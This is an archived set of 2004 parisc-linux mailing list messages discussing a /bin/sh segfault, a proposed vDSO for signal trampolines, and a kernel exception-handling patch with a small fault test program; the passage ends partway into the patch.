http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Another SIGSEGV, this time in /bin/sh
Date: Mon, 13 Sep 2004 11:01:56 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <20040913150155.GZ1854@baldric.uwo.ca>
References: <200409012008.i81K8mGw011839@hiauly1.hia.nrc.ca>
	<200409110724.i8B7O1Fc002787@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623555 11053 80.91.229.3 (22 Nov 2014 02:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:35 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15341 invoked by uid 65534); 13 Sep 2004 15:03:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 13 Sep 2004 17:03:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF0353BE25; Mon, 13 Sep 2004 09:03:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16461-06; Mon, 13 Sep 2004 09:03:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 44DC53BE40; Mon, 13 Sep 2004 09:02:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0AE3BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 09:02:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16434-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 09:02:11 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7DC723BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 09:02:11 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6sL6-00020T-00; Mon, 13 Sep 2004 11:01:56 -0400
Content-Disposition: inline
In-Reply-To: <200409110724.i8B7O1Fc002787@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21985

jda,

What kernel is this btw?

> Program terminated with signal 11, Segmentation fault.
> Reading symbols from /usr/lib/debug/libncurses.so.5...done.
> Loaded symbols for /usr/lib/debug/libncurses.so.5
> Reading symbols from /usr/lib/debug/libdl.so.2...done.
> Loaded symbols for /usr/lib/debug/libdl.so.2
> Reading symbols from /usr/lib/debug/libc.so.6...done.
> Loaded symbols for /usr/lib/debug/libc.so.6
> Reading symbols from /lib/ld.so.1...done.
> Loaded symbols for /lib/ld.so.1

Why isn't this the debug ld.so?

> Looking at %r2, it appears that the fault has occurred in an indirect
> call from __strtoll_internal:

But it's always some place different every failure...
 
> It would appear that r3 has either been clobbered by the kernel, or there
> is a problem with the memory access by which it was loaded:

It's possible.
 
> This should have given the r3 value.  The same procedure gave the r6 value.
> (gdb) p/x *(*($r19 + 0x1000 + 0x354) + 0x98)
> $19 = 0x0

So you are saying that the code should have given that value, but
something corrupted the value before it was used?

It definately looks signal related. It feels a lot like some return path
in the kernel might be clobbering r3. Time for another witch hunt?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] hppa needs a vDSO? Solves signal trampolines
	and opens up new possibilities.
Date: Mon, 13 Sep 2004 12:03:50 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20040913160349.GD8018@baldric.uwo.ca>
References: <20040912184553.GT1854@baldric.uwo.ca>
	<20040913000511.GU28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623556 11056 80.91.229.3 (22 Nov 2014 02:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15233 invoked by uid 65534); 13 Sep 2004 16:04:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 13 Sep 2004 18:04:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7D8873BE4F; Mon, 13 Sep 2004 10:04:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17175-10; Mon, 13 Sep 2004 10:04:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5A2E43BE27; Mon, 13 Sep 2004 10:04:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBC583BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 10:03:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17175-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 10:03:55 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7905B3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 10:03:55 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6tJ0-0002F3-00; Mon, 13 Sep 2004 12:03:50 -0400
Content-Disposition: inline
In-Reply-To: <20040913000511.GU28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21986

> i think the analysis is correct, but i don't like the solution! :-)
> 
> various pieces of software (gcc, gdb) need to be able to read and
> analyze the signal trampoline for unwinding. putting the trampoline 
> onto the gateway page will break these applications, because the 
> gateway page is not readable by the user.

We need a vDSO implementation for hppa, and stick the trampolines into
the vDSO. gdb can still use mprotect on the vDSO mapping created by the
kernel. We can use the powerpc implementation as a reference. I think
it's sorta neat for the kernel to create a virtual DSO that userspace
can leverage. All the ELF rules apply for symbols and you can get all
the debugging info right.

Secondly the vDSO could override the CAS symbol from libc with an LWS
version since it knows that LWS exists. The older code can continue to
call a non-atomic libc version. I'm not quite sure how this works...

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Mon, 13 Sep 2004 19:37:06 -0700
Lines: 969
Approved: news@gmane.org
Message-ID: <20040914023706.GX28659@tausq.org>
References: <20040911165325.GO28659@tausq.org>
	<20040913233742.GW28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623556 11058 80.91.229.3 (22 Nov 2014 02:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:36 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26468 invoked by uid 65534); 14 Sep 2004 02:37:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 14 Sep 2004 04:37:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0C8D23BE33; Mon, 13 Sep 2004 20:37:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22624-04; Mon, 13 Sep 2004 20:37:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B549F3BE25; Mon, 13 Sep 2004 20:37:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66F203BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 20:37:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22624-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 20:37:05 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 41E2B3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 20:37:04 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 393C3CD2CB; Mon, 13 Sep 2004 19:37:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040913233742.GW28659@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21987

Version 2a of the patch. Changes from the previous version:

- Fixed the comment in uaccess.h, added some more comments to fixup.S
- Added missing r1 clobbers
- addil/ldd should be relative to r27, not r1

i found out this is a somewhat effective way of testing this patch:

- run "make vmlinux" (or make -j4 vmlinux) in one window
- run "while true; do ./wtest; sleep 30; done" in another window

wtest is compiled from:
-------------------8< cut here 8<--------------------
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
        char *buf = (char *)1;
        int ret;

        ret = write(fileno(stdout), buf, 10);
        printf("write returned ret = %d, errno = %d\n", ret, errno);

        return 0;
}

-------------------8< cut here 8<--------------------

patch:

Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.9
diff -u -p -r1.9 asm-offsets.c
--- arch/parisc/kernel/asm-offsets.c	8 May 2004 14:12:45 -0000	1.9
+++ arch/parisc/kernel/asm-offsets.c	14 Sep 2004 02:34:06 -0000
@@ -38,6 +38,7 @@
 #include <asm/processor.h>
 #include <asm/hardirq.h>
 #include <asm/pdc.h>
+#include <asm/uaccess.h>
 
 #define DEFINE(sym, val) \
 	asm volatile("\n->" #sym " %0 " #val : : "i" (val))
@@ -291,5 +292,8 @@ int main(void)
 	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
 	DEFINE(ASM_PAGE_SIZE, PAGE_SIZE);
 	BLANK();
+	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
+	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
+	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
 	return 0;
 }
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.14
diff -u -p -r1.14 syscall.S
--- arch/parisc/kernel/syscall.S	10 Sep 2004 14:52:01 -0000	1.14
+++ arch/parisc/kernel/syscall.S	14 Sep 2004 02:34:06 -0000
@@ -29,6 +29,19 @@
 #else
 	.level		1.1
 #endif
+
+#ifndef __LP64__
+	.macro fixup_branch,lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch,lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	.text
 
 	.import syscall_exit,code
@@ -575,10 +588,8 @@ cas_action:
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
-	nop	/* Add some visual space in objdump */
-	nop
-	nop
-	nop
+
+	.section .fixup,"ax"
 3:		
 	/* Error occured on load or store */
 #ifdef CONFIG_SMP
@@ -588,12 +599,13 @@ cas_action:
 	stw	%r0, 4(%sr2,%r20)
 # endif
 #endif
-	b	lws_exit
+	fixup_branch lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
 	nop
 	nop
 	nop
 	nop
+	.previous
 
 	/* Two exception table entries, one for the load,
 	   the other for the store. Either return -EFAULT */
@@ -601,10 +613,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(2b - linux_gateway_page)
-	.dword	(3b - 2b) 
+	.dword	3b
 #else
 	.word	2b - linux_gateway_page
-	.word	(3b - 2b) 
+	.word	3b
 #endif
 	.previous
 
@@ -612,10 +624,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(1b - linux_gateway_page)
-	.dword	(3b - 1b) 
+	.dword	3b
 #else
 	.word	1b - linux_gateway_page
-	.word	(3b - 1b) 
+	.word	3b
 #endif
 	.previous
 
Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.8
diff -u -p -r1.8 unaligned.c
--- arch/parisc/kernel/unaligned.c	21 Aug 2004 06:19:33 -0000	1.8
+++ arch/parisc/kernel/unaligned.c	14 Sep 2004 02:34:06 -0000
@@ -23,6 +23,7 @@
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <asm/uaccess.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -34,8 +35,14 @@
 
 #ifdef __LP64__
 #define RFMT "%016lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tb " #lbl "\n"
 #else
 #define RFMT "%08lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tldil L%%" #lbl ", %%r1\n"			\
+	"\tldo R%%" #lbl "(%%r1), %%r1\n"		\
+	"\tbv,n %%r0(%%r1)\n"
 #endif
 
 /* 1111 1100 0000 0000 0001 0011 1100 0000 */
@@ -134,15 +141,19 @@ static int emulate_ldh(struct pt_regs *r
 "1:	ldbs	0(%%sr1,%3), %%r20\n"
 "2:	ldbs	1(%%sr1,%3), %0\n"
 "	depw	%%r20, 23, 24, %0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -175,15 +186,19 @@ static int emulate_ldw(struct pt_regs *r
 "	subi	32,%%r19,%%r19\n"
 "	mtctl	%%r19,11\n"
 "	vshd	%0,%%r20,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -222,15 +237,19 @@ static int emulate_ldd(struct pt_regs *r
 "	subi	64,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	shrpd	%0,%%r20,%%sar,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -250,17 +269,20 @@ static int emulate_ldd(struct pt_regs *r
 "	mtsar	%%r19\n"
 "	vshd	%0,%1,%0\n"
 "	vshd	%1,%%r20,%1\n"
-"	cmpclr,= %%r0, %%r0, %2\n"
-"4:	ldo	-2(%%r0), %2\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %2\n"
+"4:	\n"
+"	.section .fixup,\"ax\"\n"
+"5:	ldi	-2, %2\n"
+	FIXUP_BRANCH(4b)
+"	.previous\n"
 #ifdef __LP64__
-"	.dword	1b,(4b-1b)\n"
-"	.dword  2b,(4b-2b)\n"
-"	.dword	3b,(4b-3b)\n"
-#else
-"	.word	1b,(4b-1b)\n"
-"	.word	2b,(4b-2b)\n"
-"	.word	3b,(4b-3b)\n"
+"	.dword	1b,5b\n"
+"	.dword  2b,5b\n"
+"	.dword	3b,5b\n"
+#else
+"	.word	1b,5b\n"
+"	.word	2b,5b\n"
+"	.word	3b,5b\n"
 #endif
 "	.previous\n"
 	: "=r" (valh), "=r" (vall), "=r" (ret)
@@ -296,15 +318,19 @@ static int emulate_sth(struct pt_regs *r
 "	extrw,u %1, 23, 8, %%r19\n"
 "1:	stb %1, 1(%%sr1, %2)\n"
 "2:	stb %%r19, 0(%%sr1, %2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -346,15 +372,19 @@ static int emulate_stw(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "	stw	%%r20,0(%%sr1,%2)\n"
 "	stw	%%r21,4(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -399,19 +429,23 @@ static int emulate_std(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "3:	std	%%r20,0(%%sr1,%2)\n"
 "4:	std	%%r21,8(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"5:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"5:	\n"
+"	.section .fixup,\"ax\"\n"
+"6:	ldi	-2, %0\n"
+	FIXUP_BRANCH(5b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(5b-1b)\n"
-"	.dword  2b,(5b-2b)\n"
-"	.dword	3b,(5b-3b)\n"
-"	.dword  4b,(5b-4b)\n"
-#else
-"	.word	1b,(5b-1b)\n"
-"	.word	2b,(5b-2b)\n"
-"	.word	3b,(5b-3b)\n"
-"	.word	4b,(5b-4b)\n"
+"	.dword	1b,6b\n"
+"	.dword  2b,6b\n"
+"	.dword	3b,6b\n"
+"	.dword  4b,6b\n"
+#else
+"	.word	1b,6b\n"
+"	.word	2b,6b\n"
+"	.word	3b,6b\n"
+"	.word	4b,6b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -438,21 +472,25 @@ static int emulate_std(struct pt_regs *r
 "3:	stw	%1,0(%%sr1,%1)\n"
 "4:	stw	%%r1,4(%%sr1,%3)\n"
 "5:	stw	%2,8(%%sr1,%3)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"6:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"6:	\n"
+"	.section .fixup,\"ax\"\n"
+"7:	ldi	-2, %0\n"
+	FIXUP_BRANCH(6b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(6b-1b)\n"
-"	.dword  2b,(6b-2b)\n"
-"	.dword	3b,(6b-3b)\n"
-"	.dword  4b,(6b-4b)\n"
-"	.dword  5b,(6b-5b)\n"
-#else
-"	.word	1b,(6b-1b)\n"
-"	.word	2b,(6b-2b)\n"
-"	.word	3b,(6b-3b)\n"
-"	.word	4b,(6b-4b)\n"
-"	.word  	5b,(6b-5b)\n"
+"	.dword	1b,7b\n"
+"	.dword  2b,7b\n"
+"	.dword	3b,7b\n"
+"	.dword  4b,7b\n"
+"	.dword  5b,7b\n"
+#else
+"	.word	1b,7b\n"
+"	.word	2b,7b\n"
+"	.word	3b,7b\n"
+"	.word	4b,7b\n"
+"	.word  	5b,7b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
Index: arch/parisc/lib/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/Makefile,v
retrieving revision 1.2
diff -u -p -r1.2 Makefile
--- arch/parisc/lib/Makefile	1 Jul 2004 18:30:36 -0000	1.2
+++ arch/parisc/lib/Makefile	14 Sep 2004 02:34:06 -0000
@@ -2,6 +2,6 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o
 
 lib-$(CONFIG_SMP) += debuglocks.o
Index: arch/parisc/lib/fixup.S
===================================================================
RCS file: arch/parisc/lib/fixup.S
diff -N arch/parisc/lib/fixup.S
--- /dev/null	1 Jan 1970 00:00:00 -0000
